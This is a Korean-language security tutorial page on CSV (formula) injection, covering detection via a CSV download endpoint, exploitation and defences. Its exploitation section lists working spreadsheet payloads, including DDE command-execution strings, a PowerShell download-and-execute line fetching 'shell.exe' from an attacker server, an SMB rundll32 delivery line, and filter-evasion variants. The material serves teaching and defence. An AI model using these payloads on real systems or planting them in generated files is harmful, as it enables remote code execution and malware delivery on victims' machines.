Back

CSV Injection

πŸ” Introduction

CSV Injection은 Formula InjectionμœΌλ‘œλ„ 뢈리며 일반적으둜 CSV 파일 λ‹€μš΄λ‘œλ“œ λ“±μ˜ κΈ°λŠ₯μ—μ„œ λ°œμƒλ˜λŠ” μ·¨μ•½μ μ΄μž, κ³΅κ²©κΈ°λ²•μž…λ‹ˆλ‹€. MS Excel, Libre Office λ“±μ—μ„œ CSV νŒŒμΌμ„ μ—΄ λ•Œ νŠΉμ • ꡬ문을 μ΄μš©ν•˜μ—¬ μ‹œμŠ€ν…œ λͺ…령등을 μˆ˜ν–‰ν•  수 μžˆλŠ”λ°, 이λ₯Ό μ•…μ˜μ μΈ 파일이 μ•„λ‹Œ 정상적인 νŒŒμΌμ„ λ‹€μš΄λ‘œλ“œν•  λ•Œ κ³΅κ²©μžκ°€ μ˜λ„ν•œ ꡬ문이 CSV 파일 내뢀에 λ°˜μ˜λ˜λ„λ‘ ν•˜μ—¬ ν”Όν•΄μžκ°€ μ˜μ‹¬μ—†μ΄ νŒŒμΌμ„ μ—΄λ©΄μ„œ κ³΅κ²©μžκ°€ μ˜λ„ν•œ μ½”λ“œκ°€ μ‹€ν–‰λ˜λ„λ‘ ν•  수 μžˆλŠ” κ³΅κ²©μž…λ‹ˆλ‹€.

일반적으둜 λ³΄μ•ˆ 경고와, μ‚¬μš©μž μΈν„°λ ‰μ…˜μ΄ μžˆμ–΄ 곡격 λ³΅μž‘λ„κ°€ 높은 편이긴 ν•˜μ§€λ§Œ, μ‹ λ’°λ₯Ό 기반으둜 ν•˜κΈ° 떄문에 νŒŒμΌμ„ μ—΄ κ°€λŠ₯성이 높은 μƒνƒœμ—μ„œ μ‹œμŠ€ν…œ λͺ…령등을 μˆ˜ν–‰ν•  수 μžˆμ–΄μ„œ 리슀크 μžμ²΄λŠ” λ†’μ€νŽΈμž…λ‹ˆλ‹€.

πŸ—‘ Offensive techniques

Detect

μ„œλΉ„μŠ€μ˜ λ„λ©”μΈμ—μ„œ μ›Ή νŽ˜μ΄μ§€, API 등을 톡해 CSV νŒŒμΌμ„ λ‹€μš΄λ‘œλ“œν•˜λŠ” κΈ°λŠ₯이 μžˆλ‹€λ©΄ μš°μ„  점검할 ν¬μΈνŠΈκ°€ λ©λ‹ˆλ‹€. 여기에 URL Query, 미리 μ €μž₯ν•œ 데이터등을 μ΄μš©ν•΄μ„œ CSV을 μˆ˜μ •ν•  수 μžˆλ‹€λ©΄ CSV Injection의 포인트둜 보면 λ©λ‹ˆλ‹€.

Request

GET /download-sum-csv?title=testname

Response

HTTP/1.1 200 OK

title,sub,data
testname,10,1234

Exploitation

CSV λ‚΄λΆ€λ₯Ό μ œμ–΄ν•  수 μžˆλ‹€λ©΄ μ•„λž˜μ™€ 같이 DDE(Dynamic Data Exchange) μ½”λ“œ 등을 톡해 λͺ…λ Ή 싀행을 μœ λ„ν•©λ‹ˆλ‹€.

Request

GET /download-sum-csv?title=DDE%20("cmd";"/C%20calc";"!A0")A0

Response

HTTP/1.1 200 OK

title,sub,data
DDE ("cmd";"/C calc";"!A0")A0,10,1234

일반적으둜 CSV Injection에 μ‚¬μš©λ˜λŠ” DDE μ½”λ“œλŠ” μ•„λž˜μ™€ κ°™μŠ΅λ‹ˆλ‹€.

# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0

# pop a notepad
=cmd|' /C notepad'!'A1'

# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

# Prefix obfuscation and command chaining
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
=         cmd|'/c calc.exe'!A

# Using rundll32 instead of cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A

# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
=    C    m D                    |        '/        c       c  al  c      .  e                  x       e  '   !   A

Bypass protection

CSV νŒŒμΌμ„ μ‚¬μš©μžμ—κ²Œ μˆ˜μ •ν•  수 μžˆλ„λ‘ κΈ°λŠ₯적으둜 μ œκ³΅ν•˜λŠ” 경우, DDE ꡬ문 등을 μΆ”κ°€ν•  수 없도둝 μ •κ·œμ‹ λ˜λŠ” λ¬Έμžμ—΄ 기반의 검증 정책이 λ“€μ–΄κ°€κ²Œ λ©λ‹ˆλ‹€. μ΄λŸ¬ν•œ 경우 반볡적인 ν…ŒμŠ€νŒ…μ„ ν†΅ν•΄μ„œ 검증 정책을 μΆ”μΈ‘ν•˜κ³ , 이λ₯Ό μš°νšŒν•˜μ—¬ μ½”λ“œλ₯Ό μ‚½μž…ν•˜λŠ” ν˜•νƒœλ‘œ Bypassing을 ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

πŸ›‘ Defensive techniques

가급적 CSV 파일 λ‚΄λΆ€λŠ” μ‚¬μš©μžκ°€ μ œμ–΄ν•  수 없도둝 Input pointλ₯Ό μ œκ±°ν•˜λŠ” 것이 μ’‹μœΌλ©°, κΈ°λŠ₯ 상 μ‚¬μš©μžκ°€ ν†΅μ œν•  수 μžˆμ–΄μ•Ό ν•œλ‹€λ©΄ μš©λ„μ— 맞게 ν•„ν„°λ§ν•˜λŠ” ν˜•νƒœλ‘œ μ œν•œν•  수 μžˆμŠ΅λ‹ˆλ‹€. 예λ₯Όλ“€μ–΄ 숫자만 μž…λ ₯이 ν•„μš”ν•œ ν•„λ“œλΌλ©΄, CSV νŒŒμΌμ„ μƒμ„±ν•˜μ—¬ λ‚΄λ €μ£ΌκΈ° 전에 μ‚¬μš©μž μž…λ ₯이 숫자 값인지 μ •ν™•ν•˜κ²Œ κ²€μ¦ν•˜κ³  λ‚΄λ €μ£ΌλŠ” ν˜•νƒœλ‘œ λ°©μ–΄ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

λŒ€λ‹€μˆ˜ ꡬ문이 cmdλ₯Ό μ‚¬μš©ν•˜κΈ° 떄문에 ν•΄λ‹Ή λ¬Έμžμ—΄μ„ 기반으둜 κ²€μ¦ν•˜λŠ” 방법도 μžˆμŠ΅λ‹ˆλ‹€. λ‹€λ§Œ XSS와 μœ μ‚¬ν•˜κ²Œ λŒ€μ†Œλ¬Έμžμ™€ 인코딩에 λŒ€ν•΄μ„œλ„ κ³ λ €ν•˜μ—¬ ν•„ν„°λ§λ˜μ•Ό ν•©λ‹ˆλ‹€.

πŸ•Ή Tools

πŸ“Œ References

Licensed under CC BY-NC-SA 4.0